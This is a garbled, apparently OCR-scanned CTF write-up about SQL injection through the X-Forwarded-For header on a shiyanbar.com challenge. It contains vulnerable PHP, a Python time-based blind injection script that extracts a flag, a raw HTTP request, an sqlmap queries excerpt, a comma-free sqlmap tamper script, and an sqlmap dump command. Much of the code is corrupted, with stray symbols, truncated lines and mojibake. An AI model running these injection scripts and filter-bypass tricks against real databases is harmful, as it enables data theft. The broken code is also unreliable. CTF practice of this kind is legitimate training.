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<?php
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}

$ip_arr = explode(',"', $ip);
return $ip_arr[e];
}
$host="1ocalhost";
$user="root";
$pass="root";
$db="sangebaimao";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();

echo 'your ip is :'.$ip;

$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

?>
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#-*-coding:utf-8-*-

import requests

import string

url="http://xxx"

guess=string.lowercase + string.uppercase + string.digits
flag=""

for i in range(1,33):
for str in guess:
headers={"x-forwarded-for":"xx"'+"+"(select case when (substring((select flag from flag ) from %d for
try:
res=requests.get(url,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout, e:
flag = flag + str
print "flag:", flag
break

print 'result:' + flag
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GET /web/wonderkun/index.php HTTP/1.1

Host: ctf5.shiyanbar.com

Proxy-Connection: keep-alive

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safa
X-Forwarded-For: 1%

Referer: http://www.shiyanbar.com/ctf/1941

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;q=0.8

H4k, User-Agent. Cookie. RefererffEF ATREE*S, X4ibsqimapZERiX BRI EEMRKM T, X
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<root>

<l-- MysQL -->

<dbms value="MySQL">
<cast query="CAST(%s AS CHAR)"/>
<length query="CHAR_LENGTH(%s)"/>
<isnull query="IFNULL(%s,"' ")"/>
<delimiter query=","/>
<limit query="LIMIT %d,%d"/>
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
<limitgroupstart query="1"/>
<limitgroupstop query="2"/>
<limitstring query=" LIMIT "/>
<order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/>
<comment query="-- " query2="/*" query3="#"/>
<substring query="MID((%s),%d,%d)"/>
<concatenate query="CONCAT(%s,%s)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE @ END)"/>
<hex query="HEX(%s)"/>
<inference query="ORD(MID((%s),%d,1))>%d"/>
<banner query="VERSION()"/>
<current_user query="CURRENT_USER()"/>
<current_db query="DATABASE()"/>
<hostname query="@@HOSTNAME"/>
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#!/usr/bin/env python

Writed by Ovie 2016-12-05

import re
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST
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pass

tamper(payload, **kwargs):

Replaces some instances with something whthout comma

Requirement:
* MySQL

Tested against:
* MySQL 5.0

>>> tamper (' ISNULL(TIMESTAMPADD (MINUTE,7061,NULL))")
"ISNULL(NULL)"

>>> tamper('MID(VERSION(), 2, 1)')
'MID(VERSION() FROM 2 FOR 1)'

>>> tamper('IF(26=26,0,5)")
'CASE WHEN 26=26 THEN © ELSE 5 END'

>>> tamper('IFNULL(NULL,0x20)")
"CASE WHEN NULL=NULL THEN ©x20 ELSE NULL END'

>>> tamper('LIMIT 2, 3")
"LIMIT 3 OFFSET 2'

def commalessif(payload):
if payload and payload.find("IF") > -1:
while payload.find("IF(") > -1:
index = payload.find("IF(")
depth = 1
commal, comma2, end = None, None, None

for i in xrange(index + len("IF("), len(payload)):

if depth == 1 and payload[i] == ',"' and not commal:

commal = i

elif depth
comma2

= 1 and payload[i] == ',' and commal:

1]
e

1}
L}
[y

elif depth
end = i

and payload[i]

1]
1]
~

break

elif payload[i] == "(':
depth += 1

elif payload[i] == ")"':
depth -=1

if commal and comma2 and end:
_ = payload[index + len("IF("):commal]
__ = payload[commal + 1:comma2]
= payload[comma2 + 1:end]
newVal = "CASE WHEN %s THEN %s ELSE %s END" % (_,

)

)



payload = payload[:index] + newVal + payload[end + 1:]
else:
break

return payload

def commalessifnull(payload):
if payload and payload.find("IFNULL") > -1:
while payload.find("IFNULL(") > -1:
index = payload.find("IFNULL(")
depth = 1
comma, end = None, None

for i in xrange(index + len("IFNULL("), len(payload)):

if depth == 1 and payload[i] == ',":
comma = i

elif depth == 1 and payload[i] == ')':
end = i
break

elif payload[i] == "(':
depth += 1
elif payload[i] == ")":

depth -=1

if comma and end:
_ = payload[index + len("IFNULL("):comma]
__ = payload[comma + 1l:end].lstrip()

newVal = "CASE WHEN %s=NULL THEN %s ELSE %s END" % (_, _ , _)
payload = payload[:index] + newVal + payload[end + 1:]

else:
break

return payload
retVal = payload
if payload:
retval = re.sub(r'(?i)TIMESTAMPADD\ (\w+,\d+,NULL\)"', 'NULL', retval)
retVal = re.sub(r'(?1)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)', "MID(\g<1l> FROM \g<2> FOR \g<3>)
retvVal = commalessif(retVval)
retvVal = commalessifnull(retVal)

retVal = re.sub(r'(?1)LIMIT\s*(\d+),\s*(\d+)"', 'LIMIT \g<2> OFFSET \g<1>', retVal)

return retval

121Tsqlmap:

sqlmap.py -r post.txt --level=3 --skip="user-agent,referer" -v 3 --tamper=commalessmysql -D web4 -T flag -C

B 3lflag.
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